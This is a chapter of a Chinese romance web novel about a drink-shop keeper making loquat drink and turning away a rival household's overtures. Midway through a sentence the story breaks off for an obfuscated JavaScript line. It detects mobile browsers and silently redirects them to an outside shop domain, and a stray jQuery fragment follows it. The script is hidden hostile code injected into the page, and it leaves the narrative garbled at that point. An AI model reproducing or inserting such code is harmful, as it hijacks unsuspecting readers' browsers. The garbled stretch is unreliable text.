芒种前两日，永安巷里先热起来的不是日头，是果香。
何春酿刚把酸梅饮镇进井里，便听见巷口有人吆喝卖枇杷。那声音拖得长，尾音里带着点急，像是怕这一担果子再晒半刻，便要熟烂在筐里。
她从铺门探头看了一眼。
卖果的是个年轻后生，肩上挑着两只竹筐，筐里枇杷黄澄澄一片，颜色好看，只是熟得太透，有几颗皮已经皱了。这样的果子若早晨卖不出去，到了午后便要软塌，价钱自然跌得厉害。
何春酿只看了一眼，心思便动了。
周砚平正在柜后核绣坊小盏的账，见她站在门边不动，便知道她又看中了什么。
“先问问价。”他说。
何春酿回头，嘴硬道：“我还没说要买。”
那后生挑着担子过来，先说自家枇杷甜，又说昨日才摘，若不是今日天热，绝不肯这样便宜。
何春酿挑了一颗，剥皮尝了尝。果肉软，甜味足，尾上带一点酸。
做鲜果吃，确实熟过了。做甜水，倒正好。
周砚平这时也从柜后出来了。他没有尝，只低头看了看筐底，又翻过几颗压在下面的枇杷。果子熟透后最怕压，筐底已有些出水。他抬眼问那后生：“这担还要走几条街？若午前卖不完，打算送去哪里？”
那后生被问得有些不好意思，最后说实话：“再卖不完，就只能挑去酒楼后门，看人家肯不肯收。”
何春酿听见“酒楼”两个字，下意识看了周砚平一眼。
周砚平神色倒没什么变化，只把那颗软得最厉害的枇杷放到一边，道：“只能买半筐。”
何春酿立刻道：“我还没说买多少。”
“你想买一筐。”他语气平稳，“一筐今日做不完，明日便坏。半筐刚好。”
卖果后生一听半筐也成，忙说价钱还能再让些。
何春酿原本想讲价，周砚平却先报了一个数。不算高，也没压得太狠。那后生犹豫一下，点头应了。周砚平接过称，看了一眼秤杆，又让他把几颗坏得重的挑出去。
何春酿在旁边看他。
周砚平不是那种会大声砍价的人，他不急，也不虚张声势，哪怕为几文钱，也像在谈一笔很正经的买卖。
何春酿忽然想起他接过何有德那只钱袋的样子，也是这样，不急，不露底。
她心里轻轻一动，又很快把这念头压下去。
果子倒进何记竹篮时，铺子里顿时多了一股熟果香。
蒋婶子牵着小孙子进门，一闻便道：“哟，今日又有新东西？”
何春酿把枇杷摊到竹筛上，挑出几颗压伤重的，笑道：“这叫物尽其用。”
周砚平在旁边接了一句：“也叫今日必须卖完。”
何春酿权当作没听见。
枇杷清露是临时起意。
她先把熟透的枇杷剥皮去核，果肉放进白瓷盆里，用木杵慢慢捣成泥。熟果肉细软，轻轻一压便出了汁，浅金色的果浆沾在木杵上，香气又甜又酸。
小孙子趴在桌边看，口水都快掉下来。何春酿给他塞了一颗还算完整的枇杷，叫他别盯着盆里看，越看越像小馋猫。
周砚平在灶边帮她递细纱布。
何春酿原想多加蜜，手伸到蜜罐边，又停了。
罐里蜜不多了。
周砚平看见，没有说“蜜贵”，只把一小碗昨日剩的乌梅水推到她手边。
“福盛楼从前卖鲜果饮，退得最多的是太甜和有渣。”他说，“太甜，半盏便腻；有渣，客人嫌不清爽。你若要做清露，甜味不能压住果香。”
何春酿听懂了。
她舀了半勺蜜，又兑一点乌梅水吊酸，再以井水调开，细纱滤过两遍。浅金色的果饮落进陶壶里，亮亮的一层，像把日头也滤了一回。
滤第二遍时，细纱布被果泥堵住，何春酿皱着眉去拧，周砚平伸手接了一半。
两人的手隔着湿纱布碰在一处。
纱布冰凉，枇杷汁却黏甜。何春酿的指尖一滑，险些把纱布扯破。周砚平没有松手，只低声道：“慢些，破了要重新滤。”
“我知道。”何春酿低头看着陶盆，声音比平日轻了些。
周砚平便没有再说话。
两人一人执一边，将果汁慢慢滤尽。浅金色的清露一点点落下去，盆底光亮，映得两人的手指都沾了一层淡淡的黄。
何春酿先松手，转身去洗手。井水冲过指尖时，那点黏甜仍留在皮肤上，像洗不干净。
第一壶枇杷清露卖得很快。
它颜色好看，放在竹筒里，比绿豆酪更清亮。路过的姑娘家看见，先问是不是甜的；挑菜妇人买了一小筒，说带回去给老头子尝鲜；蒋婶子喝完咂咂嘴，说清爽解腻。
何春酿把这话记在心里。
有的饮子顶肚子，有的饮子解暑，有的饮子就是叫人喝了高兴。高兴这回事，也值钱。
她在木牌上写下“枇杷清露”四个字。自己的字不如周砚平端正，胜在写得痛快。周砚平看了一眼，没说不好，只把木牌往外摆正。
“清露二字听着贵。”他说，“定价就不能太低。”
何春酿瞥他：“周账房如今夸东西，也要顺便涨价？”
“好名字若卖便宜，可惜。”
何春酿听得舒服，嘴上却道：“说得像你也出了半个名字。”
周砚平看着木牌，认真道：“我出了半张纱布。”
她忍不住笑了。
午后，曹家来人了。
来的是个三十来岁的妇人，穿着干净，头发梳得很紧，身后跟着个小丫头。
她一进门，目光先落在木牌上的“枇杷清露”几个字上，又往柜台、灶间和何春酿手边看了一圈，笑道：“这位便是何掌柜吧？我们掌柜听说何记近来出了不少新饮子，今日叫我来买几筒，带回去给家里两个小郎君尝尝。”
铺子里说话声轻了些。
蒋婶子在门边摘豆角，手慢了下来；胡娘子刚送完薄荷，见曹家来人，也没有立刻走。
何春酿正在剥枇杷。指尖沾着浅金果汁，袖口挽起，发边有一点热出的汗。她抬眼笑了笑：“买甜水可以。今日枇杷清露是新做的，鲜果饮子，不久放。曹家若要，多了我也不卖。”
妇人一怔：“还有卖家嫌客人买多的？”
“不是嫌客人买多。”何春酿把剥好的果肉放进瓷盆，“是何记不卖隔味的东西。喝着不好，回头坏的是我招牌。”
周砚平坐在柜后，手里正数竹筒押钱。听见这话，动作略顿，眼底有一点不明显的笑意。
那妇人便说先要四筒，酸梅饮、绿豆酪、芝麻米浆和枇杷清露各一筒，都带回去尝尝。
周砚平将竹筒押钱、饮子钱分开写好，顺手把钱匣往何春酿那边推了推，这个动作很小，何春酿却看见了。
昨日那点钱袋的不痛快，到此时散得更开些。
妇人付了钱，等何春酿装饮子时，又状似随口道：“我们掌柜说，何掌柜年纪轻，手艺却好。若哪日得空，去曹家厨房指点一二，家里孩子也有口福。”
周砚平呼吸一滞，抬起头。
何春酿倒没有立刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597858|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
恼。她将第一只竹筒塞好，又装第二只。枇杷清露不能装太满，路上晃，容易溢。她把四只竹筒一字排开，才抬眼看那妇人。
“何记只卖甜水，不去别人家厨房指点。曹掌柜若喜欢，明日还可来买。现做现付，不赊不送。”
妇人的笑僵在嘴边。
周砚平这时接了一句：“枇杷清露今日只剩两筒，曹家若还要，明日请早。”
他说得平常，像只是在说存货。
妇人提着竹筒走后，蒋婶子先啧了一声：“曹家这是买甜水，还是想买掌柜？”
何春酿把桌上果皮收进竹篓，语气如常：“当然是买甜水。”
周砚平在柜后接了一句：“只卖甜水。”
蒋婶子看看这个，又看看那个，笑眯眯地说：“你们两个如今说话倒像一处出来的。”
何春酿手里的果皮差点掉了。
周砚平低头记账，没有接话，耳侧却像被午后暑气熏得微微红了一点。
何春酿转身去滤第二盆枇杷汁，只是细纱放进清水里时，她心里那点烦躁终于慢慢沉下去。
她知道曹家想要的不是几筒甜水，也不是何记这间破铺子，而是她这个人。
可她不是曹家的厨房，也不是谁家的后宅。
她是何记的掌柜。
傍晚时，曹家小丫头把竹筒送了回来。
四只竹筒都洗过，但洗得不如何春酿自己仔细，筒口还残着一点枇杷汁。小丫头说两个小郎君都喜欢枇杷清露，酸梅饮也喝了半筒，曹掌柜尝过后也说何掌柜手巧。
何春酿把竹筒接过来，只说：“喜欢便明日再买。”
小丫头见她不接旁的话，讪讪走了。
何春酿把竹筒拿去灶边洗。周砚平过来接了两只，没说什么，只陪她一起洗。竹筒里有枇杷甜香，清水一冲，香气淡了些，却没有立刻散。
洗到最后一只时，何春酿忽然道：“周砚平。”
他抬眼。
“昨日何有德给你五两银子，买你作假账。”她低头刷着筒口，声音不高，“今日曹家给我几文甜水钱，想买我的手艺。”
水声停了一瞬。
她把竹筒倒扣在架上，抬眼看他：“你没卖账，我也不卖人。”
周砚平看着她。
灶上还有一小锅枇杷清露的底汁，浅金色，在余火里轻轻晃。外头的日头已经斜了，永安巷里有人喊孩子回家吃饭，声音远远近近地传过来。
周砚平许久没有说话。
何春酿被他看得有些不自在，正要去收拾果皮，他却忽然低声道：“何掌柜。”
“嗯？”
“明日枇杷不能照今日价买了。”
何春酿一口气差点没上来。
她瞪他。
周砚平垂下眼，唇角有极轻的一点弧度：“今日那后生急着出手，明日未必有这样的便宜。”
何春酿盯了他片刻，终于也笑了，“周账房，你有话不说的时候，比你说话还烦人。”
“那我少说些。”
“也没叫你不说。”
这话说完，两人都静了一下。
何春酿低头把果皮倒进竹篓，没再继续。
夜里收摊后，她在《诸事簿》上记下今日的事。铺子里还留着枇杷香，柜台上倒扣的竹筒已经晾干。
-
簿上记：
半筐熟枇杷，做枇杷清露，午后卖空。
曹家初次上门买四筒甜水，现付，不赊。
另记：鲜果饮子不可久放，明日若再做，须早买早卖。